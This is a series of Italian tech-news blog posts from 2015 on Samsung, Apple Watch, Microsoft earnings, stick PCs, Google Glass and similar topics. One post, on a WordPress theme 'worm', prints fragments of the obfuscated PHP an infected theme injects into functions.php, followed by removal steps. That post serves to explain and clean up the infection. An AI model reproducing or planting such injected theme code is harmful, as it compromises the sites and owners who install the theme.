Samsung Galaxy Alpha SM-G850 si aggiorna ad Android 5.0.2 in Corea
Il Samsung Galaxy Alpha SM-G850 inizia a ricevere in Corea del Sud l’aggiornamento alla versione software Android 5.0.2 Lollipop (aggiornato)
Questa settimana è iniziata davvero positivamente per tutti i coreani che hanno acquistato un Samsung Galaxy Alpha SM-G850; l’azienda asiatica ha infatti iniziato per loro il rilascio dell’aggiornamento alla versione Android 5.0.2 Lollipop per il suo primo smartphone con scocca in metallo.
Il Galaxy Alpha viene così aggiornato alla stessa versione software già vista su Galaxy S5 o Galaxy Note 4, dato che l’interfaccia è quella della vecchia Touchwiz con material design e non riprende la nuova Touchwiz rinnovata, ottimizzata introdotta e vista sui nuovi Samsung Galaxy S6 e S6 Edge.
L’upgrade sembra essere già disponibile in entrambe le modalità, ovvero tramite OTA (over the air) direttamente dallo smartphone utilizzando una connessione Wifi, o tramite il software di aggiornamento di Samsung Kies, collegando il dispositivo tramite cavetto usb al PC o al MAC.
Dalle prime informazioni l’aggiornamento Android 5.0.2 Lollipop grazie all’introduzione del material design avrà un impatto positivo sull’esperienza d’uso dell’utente (per fortuna Samsung ha saltato la versione 5.0 che era un pò buggata), grazie alla nuova gestione delle animazioni, delle notifiche, prestazioni generali incrementate con le nuove runtime ART e forse anche un miglioramento dell’autonomia generale (questo comunque è ancora da dimostrarsi).
Non sappiamo ancora quando effettivamente i Samsung Galaxy Alpha venduti in Italia inizieranno a ricevere pure loro l’aggiornamento a Lollipop; pensiamo che nelle prime settimane di maggio prima o poi le prime notifiche arriveranno anche per i consumatori italiani che hanno acquistato il primo smartphone con scocca in metallo dell’azienda coreana.
Aggiornamento del 28 aprile 2015: Arrivano conferme che l’aggiornamento Android 5.0.2 Lollipop per Samsung Galaxy Alpha è iniziato anche in Francia; il nuovo firmware ha un peso di circa 842 mb tramite modalità OTA; ottime notizie per i possessori italiani dello smartphone con scocca in metallo che potrebbero ricevere la notifica di aggiornamento molto presto.
Samsung Galaxy Alpha le caratteristiche
Vi ricordo infatti che il Samsung Galaxy Alpha ha una scocca in metallo con spessore di appena 6,7 mm e pesa solo 115 grammi pur avendo un ampio display Super Amoled da 4,7 pollici di diagonale con risoluzione 1280 x 720 pixel e protezione Gorilla Glass 4, processore Octa-Core Exynos 5430 (quattro core Cortex A15 e quattro core Cortex A7), GPU Mali T-628MP6, 2GB di memoria ram, 32GB di memoria interna non espandibile, fotocamera posteriore da 12 megapixel con autofocus e flash led capace di scattare foto alla risoluzione massima di 4608 x 2592 pixel e registrare video in formato Ultra HD 2160p, fotocamera anteriore da 5 megapixel per selfie, Wifi a/b/g/n/ac dual band, Bluetooth 4.0, GPS + Glonass, porta ubs 2.0, chipset NFC, connessione LTE 4G, scanner per le impronte digitali e una batteria interna da 1860 mAh.
Samsung è al lavoro sul suo prossimo chipset personalizzato per smartphone e tablet top di gamma: Exynos M1, questo è il suo nome, promette prestazioni superiori del 45%.
Nel panorama degli smartphone e dei tablet monti produttori mondiali si affidano ancora a chipset formati da processori ARM basati su un design di progettazione standard; ci sono invece altri importanti produttori di chipset come Samsung, Mediatek, Qualcomm e Apple che invece utilizzano un design di progettazione personalizzato che molto spesso migliora le prestazioni e riduce anche i consumi energetici.
Nell’elenco, come avete potuto leggere pure voi, troviamo Samsung che quest’anno per la prima volta nella sua storia ha utilizzato unicamente un proprio chipset per i suoi nuovi smartphone top di gamma Samsung Galaxy S6 e S6 Edge, ovvero l’Exynos 7420 octa-core a 64bit basato su architettura Cortex A57 e Cortex A53.
Seppur il chipset Exynos 7420 è decisamente recente, Samsung non può attendere e ha già iniziato a rimboccarsi le maniche per lavorare sulla prossima generazione di chipset che utilizzeranno un Core ARM8 di ultima generazione personalizzato che prenderà il nome di Mongoose.
CPU Mongoose Samsung per Exynos M1
Samsung Exynos M1 chipset
La CPU Mongoose di Samsung dovrà essere adeguatamente efficiente dal punto di vista energetico e potente nella capacità di calcolo come i futuri core “Kyro” sviluppati da Qualcomm e la prossima generazione di CPU “Cyclone” di Apple.
Le CPU Mongoose costituiranno la colonna portante del presunto (il condizionale è sempre d’obbligo dato che non c’è ancora nessuna certezza che si chiamerà così) chipset Exynos M1, che potrebbe arrivare a promettere prestazioni più elevate fino al 45 percento rispetto all’attuale generazione Cortex A57.
La CPU Mongoose su Exynos M1 è stata già infatti analizzata in alcuni benchmark preliminari e ha mostrato di garantire prestazioni in modalità single core (ovvero per singola CPU) superiori del 45 percento rispetto all’attuale chipset Exynos 7420, che a tutt’oggi è uno dei tre più veloci chipset sul mercato.
Architettura e caratteristiche CPU Mongoose Samsung
Mongoose come già detto si basa sulla nuova architettura ARM8 a 64 bit (che implementa nuove istruzioni a parità di clock), è costruito con processo produttivo a 14 nm e può lavorare a frequenze di funzionamento fino a 2,3 Ghz; il clock non elevatissimo e il processo produttivo alll’avanguardia ne limitano il consumo energetico e il surriscaldamento.
Secondo le stime di alcuni esperti di mercato e di produzione industriale i primi esemplari di chipset Samsung Exynos M1 con CPU Mongoose dovrebbero arrivare sul mercato nei prossimi 9-12 mesi prima di iniziare la loro effettiva produzione di massa, che con molta probabilità sarà abbinata al rilascio di furturi smartphone e tablet dell’azienda coreana come il Galaxy S7.
I nuovi Samsung Galaxy S6 e Samsung Galaxy S6 Edge stanno diventando, rapidamente, i due device di riferimento per il mondo Android e, più in generale, per il mercato della telefonia mobile internazionale. Nelle ultime ore, i due nuovi smartphone top di gamma di Samsung sono stati nominati dal sito Dxomark.com, che si occupa di analizzare la qualità di foto e video di tantissimi smartphone, come i migliori camera-phone mai arrivati sul mercato. Ad essere analizzato nel dettaglio, per quanto riguarda la fotocamera posteriore, è stato il Samsung Galaxy S6 Edge che però condivide, al netto del differente display, le stesse caratteristiche del Galaxy S6 Flat.
Il giudizio di Dxomark.com è piuttosto chiaro. Il nuovo Samsung Galaxy S6 è stato premiato con un punteggio complessivo di 86 su 100 frutto della media ottenuta dalle prestazioni nelle foto, dove ha ottenuto un punteggio di 88, e nei video, dove il punteggio globale è di 84. Il punteggio ottenuto dal nuovo top di gamma di casa Samsung è il più alto mai ottenuto da uno smartphone. Il nuovo Samsung Galaxy S6 è riuscito a superare anche il Galaxy Note 4. Il phablet di Samsung, con un punteggio medio di 84 era considerato da Dxomark.com come il migliore camera-phone prima del debutto del nuovo Galaxy S6. L’analisi di Dxomark.com evidenzia in particolare la qualità dell’autofocus del Samsung Galaxy S6 che ottiene un punteggio di 94/100 per quanto riguarda le foto e di 90/100 per quanto riguarda i video.
Ricordiamo che il nuovo Samsung Galaxy S6 può contare su di una fotocamera posteriore dotata di un sensore da 16 Megapixel con stabilizzatore ottico d’immagine in grado di registrare video in 4K a 30 fps. Il nuovo smartphone top di gamma di Samsung, di giorno in giorno, continua, quindi, a confermarsi uno dei device di maggiore interesse del momento e sembra avere tutte le carte in regola per continuare a far parlare di sé per molto tempo ancora grazie ad un’eccellente qualità costruttiva ed a specifiche tecniche di assoluto livello.
Apple Watch analizzato in un test approfondito di resistenza, qualità dei sensori direttamente da Consumer Reports: ecco la video review originale
Il nuovo indossabile dell’azienda di Cupertino ha iniziato da pochi giorni la commercializzazioni in alcuni paesi stranieri, mentre arriverà ufficialmente in Italia a partire dal 22 maggio 2015; per tutti i più curiosi, che forse hanno già visto qualche recensione in anteprima, vi mostriamo il video della recensione del test di resistenza e di qualità dei sensori effettuata dalla famosa società Consumer Reports.
Consumer Reports ha infatti testato Apple Watch secondo i propri canoni standard su quanto riguarda la qualità dei sensori utilizzati dallo smartwatch dell’azienda di Cupertino (per esempio il cardiofrequenzimetro), ha provato a verificare la resistenza del vetro a seconda dei vari modelli e se l’indossabile è effettivamente resistente all’acqua come promesso.
Test resistenza display Apple Watch
Il primo test importante è stato eseguito sul display dell’Apple Watch; come sappiamo quest’indossabile utilizza due tipi di rivestimenti protettivi a seconda del modello; quelli più economici, come gli Apple Watch Sport, utilizzano la tecnologia ION-X, mentre le versioni più costose come Apple Watch standard e la versione Edition utilizzano invece la protezione con vetro di zaffiro.
I display degli smartwatch con protezione ION-X risultano abbastanza resistenti ai graffi di media entità, mentre iniziano a subire graffi evidenti quando la pressione del macchinario con la punta adibita a graffiare aumenta di intensità; i display degli altri Watch in vetro zaffiro invece sono perfettamente immuni ai graffi secondo gli standard di Consumer Reports, e molto difficilmente subiranno danni evidenti.
Test resistenza sott’acqua Apple Watch
Altro test interessante è l’effettiva resistenza dell’Apple Watch alla pressione sott’acqua; tutti i modelli sia quelli Sport, standard o Edition hanno superato brillantemente la prova e sembra proprio che l’azienda di Cupertino in questo campo effettivamente garantisce quello che promette.
Test qualità sensori Apple Watch
Altro importante test è quello della qualità dei sensori montati all’interno dell’Apple Watch; sembrano che tutti, sopratutto il cardiofequenzimetro siano precisi e forniscano dei dati attendibili sulle reali condizioni delle persone con un attività fisica normale o sotto sforzo.
Attenzione!
Va comunque ricordato che seppur i dati forniti da Consumer Reports siano quasi tutti positivi, Apple Watch è sempre un oggetto delicato e va sempre trattato con una certa attenzione; basti pensare che sul web molte persone per esempio si stanno lamentando del fatto che la loro versione con scocca in acciaio si graffi molto facilmente; a prova di questo ecco un esempio di un immagine inviata da chi già ne possiede uno:
Apple Watch con scocca in Acciaio graffiato
Sembra che comunque la versione in acciaio dell’Apple Watch sia l’unica tra le versioni disponibili ad avere questo problema; per esempio la versione più economica Sport in alluminio non subisce graffi di questo tipo.
Dropbox offre già un numero di strumenti per la collaborazione su documenti salvati sul proprio servizio cloud sincronizzato, inoltre si è anche mosso nell’ambito e-mail con l’acquisizione di Mailbox. Adesso la compagnia è pronta per spingere le proprie ambizioni collaborative con un nuovo servizio di note-taking collaborativo, che potrebbe fare da diretto concorrente ad Evernote.
Il nome fittizio di questo servizio al momento è “Project Composer“, il servizio è in fase di lancio con la denominazione di Dropbox Notes e al momento in versione beta privata. E’ disponibile una pagina di registrazione a dropbox.com/notes da dove è possibile richiedere un invito per provare il servizio.
La pagina offre alcuni dettagli oltre all’obiettivo di costruire “un nuovo metodo per collaborare in team scrivendo insieme“. Non è chiaro se sarà orientato per una clientela business o per semplici consumatori. Anche se l’iscrizione in versione beta permette a tutti di iscriversi, viene anche chiesto per quale compagnia l’utente lavori, cosa che potrebbe essere un indizio per far capire all’utente che intende registrarsi a che tipologia di utenza Dropbox voglia arrivare.
Lo screenshot di esempio mostra un’interfaccia che somiglia molto quella di Google Docs, con fasce colorate che indicano l’intervento sul documento di testo da parte di persone differenti che collaborano alla compilazione di questo.
I commenti da parte delle persone che sono riuscite ad ottenere l’accesso al servizio, asseriscono che Notes fornisce un’esperienza semplice nell’editare gli appunti, grazie alla presenza di strumenti basilari a disposizione, come ad esempio la possibilità di creare una tabella ed altre funzioni utili, come il poter aggiungere degli allegati alle note e ai commenti.
Microsoft ha realizzato la propria relazione fiscale del terzo trimestre per il 2015, rivelando di aver raccolto 21,7 miliardi di dollari di fatturato per il trimestre, registrando un utile netto di 4,98 miliardi di dollari. Nonostante le entrate siano aumentate del 6% rispetto allo stesso trimestre dell’anno scorso, i profitti sono diminuiti del 12%.
Due delle divisioni di Microsoft hanno fatto particolarmente bene nel terzo trimestre: la divisione Surface che ha registrato un fatturato di 713 milioni di dollari con un aumento del 44%.
Nello stesso trimestre dello scorso anno e la divisione dedicata ai prodotti Lumia, che ha visto le vendite del telefono salire fino a 8.6 milioni, un 18% di incremento durante il 3° trimestre dell’anno scorso, il che ha contribuito ad un fatturato di 1.4 milioni di dollari.
Microsoft, inoltre, ha visto una forte crescita nella loro cloud business, che ha avuto una crescita del 106% anno dopo anno, e nella loro attività di ricerca di pubblicità, che ha avuto un incremento del 21%. La clientela di Office 365 è aumentata in modo sequenziale del 35% salendo ad oltre 12,4 milioni, ed anche la divisione server dell’azienda ha avuto una crescita del 12%.
Sfortunatamente le notizie per la divisione riguardante Windows OEM non sono buone, riscontrando un declino della non-Pro del 26%, mentre il declino della Pro è stato del 19%. Mentre il Licensing di Windows è ancora uno dei più grandi affari per Microsoft, il mercato dei PC negli ultimi tre mesi non è andato troppo bene.
Anche la divisione Xbox non ha avuto molta fortuna. Durante il terzo trimestre dello scorso anno, la compagnia ha venduto 1.6 milioni di modelli Xbox. Questo ha fatto sì che la piattaforma Xbox abbia avuto una diminuzione di ricavati del 24%, malgrado un incremento dell’uso generale di Xbox Live. Fino a qui, per quanto riguarda il mercato delle consolle, Sony sta evidentemente vincendo il confronto: le vendite della PS4 sono in vantaggio sulla Xbox One ogni mese.
Con l’imminente lancio di Windows 10, Microsoft dovrebbe vedere risalire i propri ricavati e profitti per recuperare così terreno verso la fine dell’anno. Xbox rimane un problema per l’azienda, ma i forti guadagni per le divisioni di Surface e Lumia sono promettenti.
Intel Compute Stickè a pieno titolo uno dei computer più piccoli con sistema Windows che, probabilmente, si possa trovare in giro. Il dispositivo monta il sistema operativo Windows 8.1 ed offre una performance decente per un uso di base, ma questo PC tascabile risente di alcune limitazioni: lo spazio di archiviazione è appena di 32 GB, dispone soltanto di una singola porta USB 2.0 ed ha un raggio di segnale Wi-Fi limitato.
Intel Compute Stick non è il solo fra i piccoli computer da tavolo sul mercato. Il personale dello Stick PC Store con base in Inghilterra ha reso noto dell’avvenuta messa in vendita di un nuovo modello dotato di uno spazio di archiviazione doppio, anche per quanto riguarda le porte USB di dimensioni standard.
Conosciamo meglio Innovateck T-0264W.
Lo Stick PC Store ha pianificato la prossima messa in vendita di questo piccolo computer al prezzo di $ 260. E’ da considerare che questo prezzo è basato sul mercato inglese, l’alto livello di prezzo è dato dall’inclusione di tasse e sulla forza della sterlina britannica. Nel resto dei mercati, i negozi specializzati potrebbero avere la possibilità di proporlo alla clientela ad un prezzo minore, ma se non si vuole aspettare molto, Stick PC Store offre il servizio di trasporto internazionale.
Le misure di Innovatech T-0264W sono 3.9″ x 1.5″ x 0.4″ ed è dotato di un connettore HDMI ad una delle sue estremità. Collegandolo alla porta HDMI del televisore o del monitor e ad una presa della corrente, con installati un mouse ed una tastiera, si avrà a disposizione un computer desktop completo con sistema operativo Windows.
Ci sono tre caratteristiche fondamentali che distinguono questo dispositivo dall’Intel Compute Stick:
Due porte USB 2.0 di dimensioni standard anziché una;
64 GB di spazio di archiviazione invece di 32 GB;
Dotazione di un jack da 3,5 mm per gli auricolari;
L’Innovatech T-0264W, come tutti i mini-computer di Intel, viene alimentato grazie ad un cavetto connesso ad una porta USB ma, con la presenza di due porte di dimensioni standard, è possibile collegare anche, allo stesso tempo, una tastiera ed un mouse, senza il bisogno di dover collegare un’unità combo come ad esempio la Logitech K400 o un qualche accessorio Bluetooth.
In alternativa, è possibile usare un mouse, una tastiera oppure un telecomando Bluetooth mentre si usano le porte USB per l’utilizzo di controller per giochi, flash drive, stampanti o altri accessori.
E’ da notare che Innovatech T-0264W è un dispositivo a basso consumo che potrebbe non essere in grado di girare a pieno regime usando determinati accessori USB.
Con uno spazio di memoria di tipo eMMC da 64 GB, si ha uno spazio maggiore per applicazioni, contenuti media ed altro tipo di files. Al suo interno è anche presente uno slot per schedine microSD, per cui lo spazio di base è espandibile di ulteriori 128 GB. Infine, grazie al jack da 3,5 mm, è possibile collegare un microfono, degli auricolari oppure degli altoparlanti.
Innovatech T-0264W è dotato di un processore Intel Atom Z3735F Bay Trail e di 2 GB di RAM. Il sistema operativo montato nel dispositivo è Windows 8.1. La connettività è affidata al supporto di 802.11b/g/n WiFi e Bluetooth 4.0.
In una recente nota di aggiornamento, per quanto riguarda questo prodotto Intel, Notebook Italia fa notare che il dispositivo APM-D05 è basato sullo stesso design. E’ dotato appena di 32 GB di spazio di archiviazione, ma l’APM-D05 ha due porte USB 2.0 di dimensioni standard e questo dispositivo stick TV è più economico rispetto all’Innovatech T-0264W. E’ possibile ritirarlo presso AliExpress a circa $100.
I temi di wordpress possono incombere a spiacevoli attacchi infatti in alcuni casi potremo trovarci davanti a questo errore:
Fatal error: Impossibile ridichiarare _verify_isactivate_widgets () (precedentemente dichiarati in /home/public_html/your-domain/wp-content/themes/meters/functions.php:269) in / home / public_html / your-domain / wp-content / themes /meters/includes/functions/functions.php on line 23.
L’errore capita in fase di attivazione dei temi. In modo automatico viene aggiunto del codice al vostro ‘functions.php’.
global $wpdb, $post;$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$separ.”vethe”.$comment_t.”mes”.$separ.”@”.$is_approved.”gm”.$comm_author.”ail”.$separ.”.”.$separ.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#if (!empty($post->post_password)) {if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {if(is_feed()) {$output=__(“There is no excerpt because this is a protected post.”);} else {$output=get_the_password_form();}}}if(!isset($fixed_tag)) $fixed_tag=1;if(!isset($filterss)) $filterss=$home_f;if(!isset($gettextcomment)) $gettextcomment=$pre_filter.$contentsmore;if(!isset($m_tag)) $m_tag=”div”;if(!isset($sh_text)) $sh_text=substr($sq1, stripos($sq1, “live”), 20);#if(!isset($m_link_title)) $m_link_title=”Continue reading this entry”;if(!isset($showfullstop)) $showfullstop=1;
“, $show_pass_post=false, $duration=””) {global $wpdb;$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;if(!$show_pass_post) $request .= ” AND post_password =\”\””;if($duration !=””) {$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;$posts=$wpdb->get_results($request);$output=””;if ($posts) {foreach ($posts as $post) {$post_title=stripslashes($post->post_title);$comment_count=$post->comment_count;$permalink=get_permalink($post->ID);$output .= $before . ” < a title="\""" href="\""">” . $post_title . “ ” . $after;}} else {$output .= $before . “None found” . $after;}return $output;}?>
Come eliminare e risolvere il problema del Worm nei temi WordPress.
Nel caso in cui avessimo attivato un tema infetto, potremo aver infettato anche gli altri temi presenti sul server quindi sarà necessario seguire questa determinata procedura:
Mettiamo il sito offline (stop apache2) sospendere o mettere in pausa il sito non è sufficiente.
eliminare i dati all’interno del functions.php e controllare anche in altri eventuali temi installati.
Essere sicuri al 200% di aver eliminato il codice del worm da tutti i vostri fuctions.php, altrimenti il worm reinfetterà tutto.
rimettere il sistema Up (apache2 start).
Testare attivando ogni tema che il problma sia definitivamente risolto.
Activision ha annunciato alcune notizie molto attese da tutti i fan di Call of Duty: Black Ops III, il nuovo capitolo della saga che promette di diventare uno dei titoli più giocati dell’anno.
Call of Duty: Black Ops III arriverà in tutti gli store dal giorno 6 novembre 2015 per le console netx gen della Playstation 4e Xbox One, oltre che su PC.
Ecco di seguito il primo trailer del gioco, in modo che tutti gli appassionati della saga si possano fare un’idea di quello che li aspetterà a partire da novembre:
Call of Duty: Black Ops III dovrebbe mettersi in mostra per una serie di features davvero molto interessanti. Al prossimo evento di Los Angeles sarà possibile assistere alla novità targata Activision.
Oltre alla data di rilascio ufficiale di Call of Duty: Black Ops III, Activision ha reso noti i requisiti minimi hardware e software per PC.
Eccoli di seguito indicati:
Sistema operativo: Windows 7 64-Bit / Windows 8 64-Bit / Windows 8.1 64-Bi
CPU: Intel Core i3-530 con frequenza 2.93 GHz / AMD Phenom II X4 810 con frequenza 2.60 GHz
Memoria RAM: 6 GB RAM
Scheda grafica: NVIDIA GeForce GTX 470 1GB / ATI Radeon HD 6970 1GB
DirectX: Version 11
Network: Broadband Internet connection
Scheda audio: Compatibile DirectX
Ricordiamo che Call of Duty: Black Ops III sarà disponibile negli scaffali dei negozi dal prossimo 6 novembre 2015 su Playstation 4, Xbox One e PC. Non rimane che attendere nuove informazioni su uno dei titoli di videogiochi più attesi dell’anno.
Il nuovo Samsung Galaxy S6 Edge sta diventando, sempre di più, uno degli smartphone più apprezzati dal mercato internazionale della telefonia mobile. Le vendite di queste prime settimane di commercializzazione sono nettamente al di sopra delle aspettative di Samsung tanto che l’azienda coreana ha via avviato le procedure per incrementare la produzione del dispositivo.
Attualmente, il device viene realizzato in due differenti stabilimenti ai quali, a partire dal mese di giugno, se ne aggiungerà un terzo che servirà ad incrementare, in questa prima fase di commercializzazione, la produzione del Samsung Galaxy S6 Edge dalla quota di 2 milioni di unità al mese prevista in precedenza ad almeno 5 milioni di unità al mese. Un netto upgrade per il device che sta rubando la scena anche al Samsung Galaxy S6 flat che rischia di farsi rubare la scena dal suo gemello. L’avvio della produzione del Samsung Galaxy S6 Edge nel nuovo stabilimento potrebbe anche essere accelerata rispetto ai piani attuali per evitare di esaurire le scorte del device che continua ad essere molto richiesto dal mercato in queste settimane.
I dati di vendita ufficiali dei nuovi Samsung Galaxy S6 e Samsung Galaxy S6 Edge non sono ancora noti ma appare chiaro che il progetto portato avanti da Samsung sembra essere vincente. I due nuovi top di gamma si stanno ritagliando uno spazio davvero importante nel mercato della telefonia mobile e, anche nel corso dei prossimi mesi, dovrebbero continuare a mettere insieme volumi di vendita davvero importanti. Per ora non ci resta che attendere il rilascio di ulteriori informazioni sulla questione da parte di Samsung che, di certo, non tarderà ad evidenziare i successi di vendita dei suoi due nuovi smartphone top di gamma che hanno fatto il loro debutto ufficiale sul mercato internazionale nel corso di questo mese di aprile.
Il settore della robotica italiano non conosce confini e continua a presentare progetti sempre più innovativi ed interessanti. L’ultimo in ordine di tempo è rappresentato dal progetto presentato da tre dottorandi della Scuola superiore Sant’Anna di Pisa che mira a realizzare il primo pene robotico, una protesi in grado di sostituire completamente l’organo maschile, simulando il meccanismo di erezione e garantendo il piacere sessuale grazie alla possibilità offerta dai nuovi sistemi di sensorizzazione che consentono un collegamento diretto con il cervello.
Secondo Sergio Tarantino, Andrea Cafarelli e Alessandro Diodato, i tre scienziati che hanno svelato il progetto del primo pene robotico nel corso della giornata conclusiva del corso in High-tech Business Venturing, non si tratta semplicemente di una ricerca scientifica ma di un progetto che ha tutte le potenzialità per diventare un qualcosa di concreto anche in ambito imprenditoriale già nel corso del prossimo futuro. Sebbene non vi sono, al momento, date precise per l’ultimazione del primo pene robotico, il progetto denominato “Robot Penis” potrebbe diventare ben presto realtà garantendo un risultato finale incredibilmente simile all’originale organo maschile.
Il progetto è estremamente ambizioso e gli obiettivi dei tre scienziati sono davvero molto chiari: “Vogliamo render il funzionamento della protesi il più vicino possibile rispetto a quello dell’organo naturale. La possibilità di controllare la protesi tramite il pensiero e gli stimoli nervosi, garantendo alla persona che la ‘indossa’ il piacere sessuale” Nel corso dei prossimi mesi, il primo pene robotico della storia potrebbe tornare a far parlare di sé con nuove informazioni sul funzionamento e sulla data di ultimazione dello sviluppo.
Dopo l’esperimento della prima generazione dei Google Glass, che non sono riusciti a dar vita ad una nuova tipologia di dispositivi smart, Google sta lavorando, intensamente e già da diversi mesi, allo sviluppo della seconda generazione dei suoi occhiali intelligenti. L’azienda americana per sviluppare i nuovi Google Glass è, attualmente, a stretto contatto con Luxottica, vero e proprio colosso del settore dell’occhialeria italiana e mondiale, che, come dichiarato dallo stesso CEO dell’azienda Massimo Vian, sta collaborando attivante con Google per accelerare i tempi di sviluppo della seconda generazione dei Google Glass. A partecipare al progetto troviamo anche Intel che vuole guidare, in futuro, la realizzazione di chip alla base di dispositivi smart indossabili.
Il futuro dei Google Glass si sta costruendo in queste settimane. La stretta collaborazione tra Google, Luxottica e Intel, infatti, dovrebbe iniziare a dare i primi frutti tangibili già nel corso dei prossimi mesi. Se, per ora, non vi sono indicazioni precise sulle tempistiche di sviluppo dei nuovi Google Glass le dichiarazioni di Vian appaiono piuttosto chiare. Il CEO di Luxottica ha infatti fatto sapere che la seconda generazione degli occhiali smart di Google “è in preparazione ed è in uscita”.
Per scoprire qualche dettagli in più in merito al progetto della seconda generazione dei Google Glass potrebbe essere necessario attendere il prossimo Google I/O 2015 che si svolgerà tra circa in un mese. In quest’occasione, l’azienda americana potrebbe tornare a porre al centro dell’attenzione i suoi occhiali smart che, senza dubbio, possiamo considerare come uno dei device più attesi dei prossimi mesi.
Avete mai avuto la necessità di dover controllare sul web quali contenuti sono pubblicati a vostro nome, per evitare sorprese future e ritorsioni su affermazioni passate che non corrispondono più al presente? Sembra che ultimamente il problema ormai da diversi mesi stia diventando una faccenda davvero seria, e con la presenza di social network e community di diverso tipo, che conservano contenuti di diverso tipo come testi, immagini e video che ci riguardano la questione stia diventando sempre di maggiore importanza.
La realtà è che con l’avvento dei social network la nostra vita è quasi per intero sul web, e dagli stessi è possibile reperire una marea di informazioni sul nostro conto che nella maggior parte dei casi ci scordiamo di aver pubblicato. Non è una novità infatti che una importante percentuale degli utenti del web non si ricordi il numero dei siti visitati nell’ultima settimana, e men che meno i permessi concessi a questa o quell’altra applicazione web, capace di conservare dati che ci riguardano.
Nonostante la grossa problematica, ciò che si sta cercando di fare è porre rimedio con alcuni servizi ed applicativi particolari, che ci consentono attraverso alcune funzionalità di controllare, trovare ed eventualmente cancellare contenuti che ci riguardano che potrebbero minare la nostra immagine pubblica.
Clear l’applicazione per iOS
Ethan Czahor sulla questione è esperto, suo malgrado, difatti proprio lui è stato vittima di questo moderno meccanismo. Ethan, dopo essere stato assunto appena qualche mese fa come CTO (Chief Technical Officer) dello staff di Jeff Bush governatore della Florida, ha visto la sua carriera terminare proprio a causa di una bolla mediatica scoppiata dopo il ritrovamento di alcuni vecchi tweet, in cui Czahor faceva dichiarazioni chiaramente omofobe e sessiste.
Sebbene il giovane Ethan si affrettò a dare spiegazioni esaustive sulla faccenda, cercando di far presente che tali frasi erano state deconstualizzate ed utilizzate al solo scopo di colpire la sua posizione politica, ottennero la sua immediata esclusione dal team ed il suo licenziamento.
Clear è la risposta che Ethan ha dato alla sua situazione, risposta che serve ad evitare che situazioni come la sua si ripetano. L’applicazione non fa altro che ricercare sui social network diversi eventuali correlazioni tra il nostro nominativo e alcuni termini inseriti in una particolare blacklist.
Per ora, questa applicazione è in versione beta, e per poterla utilizzare occorre avere uno smartphone Apple e naturalmente collegarsi alla pagina di download. Sulla pagina ufficiale del progetto invece potrete avere tutti i dettagli ulteriori che riguardano la registrazione al portale, registrazione che vi metterà in coda per l’utilizzo della funzione di controllo e cancellazione dei dati, dopo aver inserito e collegato gli account social in vostro possesso.
Sullo store di Apple alcuni utenti lamentano che l’applicazione ad ora ha troppe richieste, e la coda da fare per approfittare e testare il servizio è davvero lunga. Si crede però che presto questa versione beta potrà diventare definitiva quanto prima, per fare in modo che tutti possono trovare e cancellare eventuali dati scomodi.
Nelle ultime ore, il nuovo Asus ZenFone 2 ha iniziato a ricevere un primo aggiornamento software che potrà essere scaricato, come da tradizione, via OTA. L’update, già annunciato da Asus al momento del lancio commerciale del nuovo Asus ZenFone 2, è destinato ai modelli caratterizzati dalle sigle ZE551ML e ZE550ML, ovvero le versioni da 5.5 pollici del nuovo smartphone di casa Asus che presentano, rispettivamente, 4 GB e 2 GB di memoria RAM.
L’aggiornamento firmware per il nuovo Asus ZenFone 2, che ricordiamo può già contare su Android Lollipop, riguarda una serie di importanti fix al software del device che, nella prima versione, presentava alcuni evidenti problemi di consumo della batteria, in particolare con le applicazioni di Google, e diversi crash e riavvi di alcune applicazioni. Il changelog evidenzia anche il miglioramento della gestione del Wi-Fi, nuove funzioni per la Smart Cover, il debutto della nuova app Temi per personalizzare il telefono e la gestione delle app abilitate al risveglio del dispositivo in modalità Ultra-Saving.
Nei giorni scorsi, Asus aveva già fatto sapere di essere a lavoro con Google ed Intel per risolvere questi problemi e che il rilascio del nuovo firmware sarebbe arrivato in breve tempo. A quanto pare le promesse dell’azienda taiwanese sono state mantenute e sono già diversi gli esemplari di Asus ZenFone 2 che possono scaricare, via OTA, l’update.
Ricordiamo che in Italia il nuovo Asus ZenFone 2 è disponibile in tre versioni. La versione top di gamma presenta 4 GB di memoria RAM, un display da 5.5 pollici Full HD, il SoC Intel Atom Z3580 ed un prezzo di listino di 349 Euro. Il device è disponibile anche in una seconda versione con display FullHD da 5.5 pollici, 2 GB di RAM, SoC Intel Atom Z3560 ad un prezzo di 249 Euro. La versione entry level del nuovo ZenFone 2, invece, presenta un display da 5 pollici HD, 2 GB di RAM ed il SoC Intel Atom Z2560 con un prezzo di 179 Euro. Maggiori dettagli sul nuovo aggiornamento firmware dell’Asus ZenFone 2 arriveranno, senza alcun dubbio, nel corso dei prossimi giorni. Per ora non ci resta, quindi, che attendere l’arrivo via OTA del nuovo update.
Pur non essendo stato presentato nel corso dell’evento mediatico che ha visto il debutto di Huawei P8 e Huawei P8 Max, il nuovo Huawei P8 Lite rappresenta uno dei device più interessanti per la fascia media del mercato Android per i prossimi mesi. Lo smartphone è già disponibile in pre-order in Germania ed arriverà sul mercato nel corso della seconda metà di maggio, anche in Italia, ad un prezzo di listino di 249 Euro.
